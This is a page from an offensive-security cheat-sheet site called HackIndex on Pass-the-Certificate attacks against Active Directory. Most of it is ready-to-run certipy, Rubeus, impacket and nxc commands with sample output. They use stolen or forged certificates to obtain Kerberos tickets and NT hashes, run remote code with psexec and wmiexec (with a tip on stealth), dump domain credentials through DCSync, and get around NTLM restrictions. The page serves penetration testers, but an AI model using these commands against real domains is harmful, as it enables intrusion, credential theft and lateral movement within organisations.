Skip to content
HackIndex logo

HackIndex

Pass-the-Certificate

4 min read Jul 10, 2026

Pass-the-Certificate uses a valid X.509 certificate to authenticate via Kerberos PKINIT, retrieving a TGT without a password or NT hash. This works even when NTLM authentication is disabled domain-wide. Certificates survive password changes, making them useful for both lateral movement and persistence.

Common certificate sources:

  • ADCS exploitation (ESC1, ESC4, ESC6): request certificate as any UPN via a vulnerable template

  • Shadow Credentials: write to msDS-KeyCredentialLink → authenticate via PKINIT

  • Stolen CA key: forge a certificate for any account

  • Own enrollment: request a certificate for your own account, use after password rotation

Authenticate via PKINIT: get TGT or NT hash

Certipy auth takes a .pfx certificate and authenticates via PKINIT. It returns both a ccache TGT and the account's NT hash via UnPAC-the-Hash. Rubeus does the same from Windows.

┌──(kali㉿kali)-[~]
└─$ # Authenticate — outputs TGT (ccache) and NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # If DC requires -domain flag
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use the ccache TGT
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Or use the NT hash directly
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -H $NTHASH
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # On Kali: /usr/share/rubeus/Rubeus.exe
PS C:\Users\Guest\Desktop> # Request TGT with certificate — /ptt injects directly into session
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # UnPAC-the-Hash — retrieve NT hash from PKINIT
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
 
PS C:\Users\Guest\Desktop> # With base64 encoded certificate
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:<base64cert> /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
[*] Action: Ask TGT
[*] Using PKINIT with etype aes256_cts_hmac_sha1
[+] TGT request successful!
[*] base64(ticket.kirbi):
      doIFqDCCBaSgAwIBBaEDAgEWo...

[*] Getting credentials using U2U
  [0] NTLM: fc525c9683e8fe067095ba2ddc971889

Lateral movement with the obtained TGT

Once you have a TGT or NT hash, reach other hosts. The TGT is valid for 10 hours by default; the NT hash is usable indefinitely while the certificate remains valid.

┌──(kali㉿kali)-[~]
└─$ # Set ccache from certipy auth
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Remote execution — psexec
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Remote execution — wmiexec (stealthier, no service creation)
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # SMB access
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/Administrator@$TARGET_IP -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # DCSync with ticket
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Verify access
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p '' --use-kcache
PS C:\Users\Guest\Desktop> # TGT already injected with /ptt — verify
PS C:\Users\Guest\Desktop> klist
 
PS C:\Users\Guest\Desktop> # Access remote systems
PS C:\Users\Guest\Desktop> dir \\$TARGET_COMPUTER\C$
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_COMPUTER
 
PS C:\Users\Guest\Desktop> # If NT hash retrieved via /getcredentials — use Pass-the-Hash
PS C:\Users\Guest\Desktop> .\Rubeus.exe pth /user:administrator /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Spawn cmd with ticket
PS C:\Users\Guest\Desktop> .\Rubeus.exe createnetonly /program:cmd.exe /show

NTLM-restricted environments

When NTLM is blocked via GPO (Network security: Restrict NTLM), Pass-the-Hash fails and Pass-the-Ticket with Kerberos is the only path. If you have a certificate for a privileged account, PKINIT works regardless of NTLM restrictions because it authenticates directly with the DC over Kerberos port 88.

Test whether NTLM is restricted:

┌──(kali㉿kali)-[~]
└─$ # Test NTLM — if restricted, will return STATUS_NOT_SUPPORTED or AUTH_ERROR
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # If NTLM blocked, fall back to Kerberos with ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator.ccache
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p '' --use-kcache
 
┌──(kali㉿kali)-[~]
└─$ # Check NTLM policy via LDAP
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "CN=Default Domain Policy,$BASE_DN" msDS-NtlmSignedUpdateRestriction
PS C:\Users\Guest\Desktop> # Check if NTLM is restricted on domain
PS C:\Users\Guest\Desktop> Get-GPO -All | Get-GPOReport -ReportType Xml | Select-String 'NTLM'
 
PS C:\Users\Guest\Desktop> # Or check registry on target
PS C:\Users\Guest\Desktop> reg query 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' /v LmCompatibilityLevel
PS C:\Users\Guest\Desktop> reg query 'HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters' /v RestrictNTLMInDomain

References